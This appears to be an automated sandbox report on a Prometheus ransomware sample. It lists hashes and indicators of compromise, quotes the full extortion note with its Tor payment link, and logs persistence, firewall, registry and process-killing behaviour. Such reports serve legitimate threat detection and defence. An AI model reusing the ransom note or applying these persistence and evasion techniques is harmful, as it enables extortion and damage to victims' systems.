prometheus | 20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5

Analysis

max time kernel
44s
max time network
9s
platform
windows7_x64
resource
win7v20210410
submitted
28-05-2021 06:53

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
Size

222KB
MD5

1493deb48d84805f19ba35e60d485e87
SHA1

a34a1aeda6019b041f112b1ddbbc290ef523042b
SHA256

20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5
SHA512

ce83d28d70a0d3f108431aa31858030a2cfb91d77f470fd7ef4aecbcd213541f4e393e2d59cdad1d2578dbd3411f43be9c1612e2a63dab8560bc64a16bb589ef

Score

10^/10

prometheus discovery evasion persistence ransomware

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\RESTORE_FILES_INFO.txt

Family

prometheus

Ransom Note

YOUR COMPANY NETWORK HAS BEEN HACKED All your important files have been encrypted! Your files are safe! Only modified.(AES) No software available on internet can help you. We are the only ones able to decrypt your files. -------------------------------------------------------------------------------- We also gathered highly confidential/personal data. These data are currently stored on a private server. Files are also encrypted and stored securely. -------------------------------------------------------------------------------- As a result of working with us, you will receive: Fully automatic decryptor, all your data will be recovered within a few hours after it's run. Server with your data will be immediately destroyed after your payment. Save time and continue working. You will can send us 2-3 non-important files and we will decrypt it for free to prove we are able to give your files back. -------------------------------------------------------------------------------- !!!!!!!!!!!!!!!!!!!!!!!! If you decide not to work with us: All data on your computers will remain encrypted forever. YOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER! So you can expect your data to be publicly available in the near future.. The price will increase over time. !!!!!!!!!!!!!!!!!!!!!!!!! -------------------------------------------------------------------------------- It doesn't matter to us what you choose. We only seek money and our goal is not to damage your reputation or prevent your business from running. Write to us now and we will provide the best prices. Instructions for contacting us: 1. Type the addres "https://www.torproject.org" in your Internet browser. It opens the Tor site. 2. Press "Download Tor", then press "Download Tor Browser Bundle", install it. 3. Open the Tor browser. Copy the link http://promethw27cbrcot.onion/ticket.php?track=AA4-MX4-GGQD and paste it in the Tor browser. 7. Start a chat and follow the further instructions. Attention! Any attempt to restore your files with third-party software will corrupt it. Modify or rename files will result in a loose of data. If you decide to try anyway, make copies before that Key Identifier: HmernopoIzrKDiV/yij8C97R7rIu/wQHBgyKrkT8HS02Xp+s5Oyy9RnZFLI5uRj9QeUcORJIwYqbBgpNv9CFGUZbbhDVzrOxIY4qoUxNafdOyZ8g8BGO5rDB4nXZ9XZ4IsjE4R9R+UKAxditLslrHn8auuAFhRGQqPb2zL0C5Ys7j3LI0mwp9+EGijMNFvGoffCfjRKwWnz9sWx69BhCgeNhpsX2+TdCcgS9Pa1/Vxrm1ConAZzCODUQ2kzeMODNKXG2pZ+xopUZtfg85W82Pppm988ZVmiZKH158ReEg2zCvspCo2T/JfpmecwVxboPOtM/wD+2QbAdIObHygCeY5kdwf0eLRo7t8P6UMiDRDUEZ28GW/oJR/3obU567Mz8ufzpbUwlKhkXofdNCdwc1RzRiYEITYSAT6JbM3HJ8BBeqkYlTGujy+BnciSOLp1lG3g1kvA5iWTeYIZ3w+X8NQ1vBctWSVZs1b1GztUKd7LyUvRTA+EsPQV4wf5mtKlkCLoOI5J3QuSFh1s8MMYU6V7wlTIDjKx9KNGo0x/11eZQJymE7SCfitrAayDggAOKXz5iicYoY9PmJGw5si00zC5XBEfL/Ck/NBV//2qDTHr0XSNXBb419knuMcW3sqszSi5qZyizN/yL7UzqM1oZqDBFatgYKYsCu2YRLzhwf4o=

URLs

http://promethw27cbrcot.onion/ticket.php?track=AA4-MX4-GGQD

Signatures

Prometheus Ransomware
Ransomware family mostly targeting manufacturing industry and claims to be affiliated with REvil.
ransomware prometheus
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

Modifies extensions of user files 3 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Pictures\ExportReceive.tiff	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
File opened for modification	C:\Users\Admin\Pictures\MeasureUpdate.tiff	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
File opened for modification	C:\Users\Admin\Pictures\UndoRead.tiff	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe

Drops startup file 1 IoCs

Processes:

20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe

Modifies file permissions 1 TTPs 3 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exeicacls.exeicacls.exe

pid process

1716 icacls.exe
692 icacls.exe
240 icacls.exe

pid	process
1716	icacls.exe
692	icacls.exe
240	icacls.exe

Modifies WinLogon 2 TTPs 2 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

Processes:

20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption = "YOUR COMPANY NETWORK HAS BEEN HACKED"	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeText = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\n!!!!!!!!!!!!!!!!!!!!!!!!\r\nIf you decide not to work with us: \r\nAll data on your computers will remain encrypted forever. \r\nYOUR DATA ON OUR SERVER AND WE WILL RELEASE YOUR DATA TO PUBLIC OR RE-SELLER!\r\nSo you can expect your data to be publicly available in the near future.. \r\nThe price will increase over time. \r\n!!!!!!!!!!!!!!!!!!!!!!!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO"	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Kills process with taskkill 48 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
280	taskkill.exe
632	taskkill.exe
604	taskkill.exe
108	taskkill.exe
752	taskkill.exe
524	taskkill.exe
640	taskkill.exe
576	taskkill.exe
672	taskkill.exe
1596	taskkill.exe
564	taskkill.exe
1000	taskkill.exe
1012	taskkill.exe
1668	taskkill.exe
1108	taskkill.exe
432	taskkill.exe
292	taskkill.exe
1468	taskkill.exe
1468	taskkill.exe
1000	taskkill.exe
1928	taskkill.exe
1660	taskkill.exe
1156	taskkill.exe
1672	taskkill.exe
1624	taskkill.exe
432	taskkill.exe
792	taskkill.exe
764	taskkill.exe
568	taskkill.exe
1120	taskkill.exe
1624	taskkill.exe
1292	taskkill.exe
1260	taskkill.exe
484	taskkill.exe
1480	taskkill.exe
1120	taskkill.exe
992	taskkill.exe
788	taskkill.exe
316	taskkill.exe
672	taskkill.exe
760	taskkill.exe
660	taskkill.exe
1468	taskkill.exe
1476	taskkill.exe
1720	taskkill.exe
1576	taskkill.exe
1588	taskkill.exe
692	taskkill.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

1012 reg.exe

pid	process
1012	reg.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe

pid	process
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe

Suspicious use of AdjustPrivilegeToken 49 IoCs

Processes:

20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.execonhost.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.execonhost.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.execonhost.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
Token: SeDebugPrivilege	316	taskkill.exe
Token: SeDebugPrivilege	576	taskkill.exe
Token: SeDebugPrivilege	108	taskkill.exe
Token: SeDebugPrivilege	432	taskkill.exe
Token: SeDebugPrivilege	292	taskkill.exe
Token: SeDebugPrivilege	764	taskkill.exe
Token: SeDebugPrivilege	568	taskkill.exe
Token: SeDebugPrivilege	1588	taskkill.exe
Token: SeDebugPrivilege	1576	taskkill.exe
Token: SeDebugPrivilege	672	taskkill.exe
Token: SeDebugPrivilege	1468	taskkill.exe
Token: SeDebugPrivilege	1000	taskkill.exe
Token: SeDebugPrivilege	1120	taskkill.exe
Token: SeDebugPrivilege	692	conhost.exe
Token: SeDebugPrivilege	1156	taskkill.exe
Token: SeDebugPrivilege	1260	taskkill.exe
Token: SeDebugPrivilege	660	taskkill.exe
Token: SeDebugPrivilege	1928	taskkill.exe
Token: SeDebugPrivilege	752	taskkill.exe
Token: SeDebugPrivilege	524	taskkill.exe
Token: SeDebugPrivilege	484	taskkill.exe
Token: SeDebugPrivilege	1480	taskkill.exe
Token: SeDebugPrivilege	672	taskkill.exe
Token: SeDebugPrivilege	564	taskkill.exe
Token: SeDebugPrivilege	760	taskkill.exe
Token: SeDebugPrivilege	1672	taskkill.exe
Token: SeDebugPrivilege	632	conhost.exe
Token: SeDebugPrivilege	1120	taskkill.exe
Token: SeDebugPrivilege	1000	taskkill.exe
Token: SeDebugPrivilege	992	taskkill.exe
Token: SeDebugPrivilege	1660	taskkill.exe
Token: SeDebugPrivilege	1012	taskkill.exe
Token: SeDebugPrivilege	1668	taskkill.exe
Token: SeDebugPrivilege	1468	taskkill.exe
Token: SeDebugPrivilege	1720	conhost.exe
Token: SeDebugPrivilege	1476	taskkill.exe
Token: SeDebugPrivilege	1624	taskkill.exe
Token: SeDebugPrivilege	1292	taskkill.exe
Token: SeDebugPrivilege	604	taskkill.exe
Token: SeDebugPrivilege	432	taskkill.exe
Token: SeDebugPrivilege	1108	taskkill.exe
Token: SeDebugPrivilege	788	taskkill.exe
Token: SeDebugPrivilege	1596	taskkill.exe
Token: SeDebugPrivilege	792	taskkill.exe
Token: SeDebugPrivilege	1468	taskkill.exe
Token: SeDebugPrivilege	1624	taskkill.exe
Token: SeDebugPrivilege	640	taskkill.exe
Token: SeDebugPrivilege	516	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe

pid process

1100 20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
Suspicious use of SendNotifyMessage 1 IoCs

Processes:

20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe

pid process

1100 20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe

description	pid	process	target process
PID 1100 wrote to memory of 316	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	taskkill.exe
PID 1100 wrote to memory of 316	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	taskkill.exe
PID 1100 wrote to memory of 316	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	taskkill.exe
PID 1100 wrote to memory of 1480	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	reg.exe
PID 1100 wrote to memory of 1480	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	reg.exe
PID 1100 wrote to memory of 1480	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	reg.exe
PID 1100 wrote to memory of 1012	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	reg.exe
PID 1100 wrote to memory of 1012	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	reg.exe
PID 1100 wrote to memory of 1012	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	reg.exe
PID 1100 wrote to memory of 516	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	schtasks.exe
PID 1100 wrote to memory of 516	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	schtasks.exe
PID 1100 wrote to memory of 516	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	schtasks.exe
PID 1100 wrote to memory of 560	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	cmd.exe
PID 1100 wrote to memory of 560	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	cmd.exe
PID 1100 wrote to memory of 560	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	cmd.exe
PID 1100 wrote to memory of 1896	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	sc.exe
PID 1100 wrote to memory of 1896	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	sc.exe
PID 1100 wrote to memory of 1896	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	sc.exe
PID 1100 wrote to memory of 1140	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	sc.exe
PID 1100 wrote to memory of 1140	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	sc.exe
PID 1100 wrote to memory of 1140	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	sc.exe
PID 1100 wrote to memory of 604	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	sc.exe
PID 1100 wrote to memory of 604	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	sc.exe
PID 1100 wrote to memory of 604	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	sc.exe
PID 1100 wrote to memory of 1324	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	sc.exe
PID 1100 wrote to memory of 1324	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	sc.exe
PID 1100 wrote to memory of 1324	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	sc.exe
PID 1100 wrote to memory of 240	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	cmd.exe
PID 1100 wrote to memory of 240	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	cmd.exe
PID 1100 wrote to memory of 240	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	cmd.exe
PID 1100 wrote to memory of 2012	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	sc.exe
PID 1100 wrote to memory of 2012	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	sc.exe
PID 1100 wrote to memory of 2012	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	sc.exe
PID 1100 wrote to memory of 1624	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	sc.exe
PID 1100 wrote to memory of 1624	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	sc.exe
PID 1100 wrote to memory of 1624	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	sc.exe
PID 1100 wrote to memory of 564	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	sc.exe
PID 1100 wrote to memory of 564	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	sc.exe
PID 1100 wrote to memory of 564	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	sc.exe
PID 1100 wrote to memory of 536	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	sc.exe
PID 1100 wrote to memory of 536	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	sc.exe
PID 1100 wrote to memory of 536	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	sc.exe
PID 1100 wrote to memory of 1488	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	netsh.exe
PID 1100 wrote to memory of 1488	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	netsh.exe
PID 1100 wrote to memory of 1488	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	netsh.exe
PID 1100 wrote to memory of 576	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	taskkill.exe
PID 1100 wrote to memory of 576	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	taskkill.exe
PID 1100 wrote to memory of 576	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	taskkill.exe
PID 1100 wrote to memory of 108	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	taskkill.exe
PID 1100 wrote to memory of 108	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	taskkill.exe
PID 1100 wrote to memory of 108	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	taskkill.exe
PID 1100 wrote to memory of 432	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	taskkill.exe
PID 1100 wrote to memory of 432	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	taskkill.exe
PID 1100 wrote to memory of 432	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	taskkill.exe
PID 1100 wrote to memory of 1096	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	netsh.exe
PID 1100 wrote to memory of 1096	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	netsh.exe
PID 1100 wrote to memory of 1096	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	netsh.exe
PID 1100 wrote to memory of 292	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	taskkill.exe
PID 1100 wrote to memory of 292	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	taskkill.exe
PID 1100 wrote to memory of 292	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	taskkill.exe
PID 1100 wrote to memory of 764	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	taskkill.exe
PID 1100 wrote to memory of 764	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	taskkill.exe
PID 1100 wrote to memory of 764	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	taskkill.exe
PID 1100 wrote to memory of 568	1100	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe	taskkill.exe

System policy modification 1 TTPs 2 IoCs

evasion

Modify Registry

T1112

Processes:

20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption = "YOUR COMPANY NETWORK HAS BEEN HACKED"	20d9efe472c01a0a23c9764db679b27a4b6a4d72e697e3508e44f218b8b952f5.bin.exe
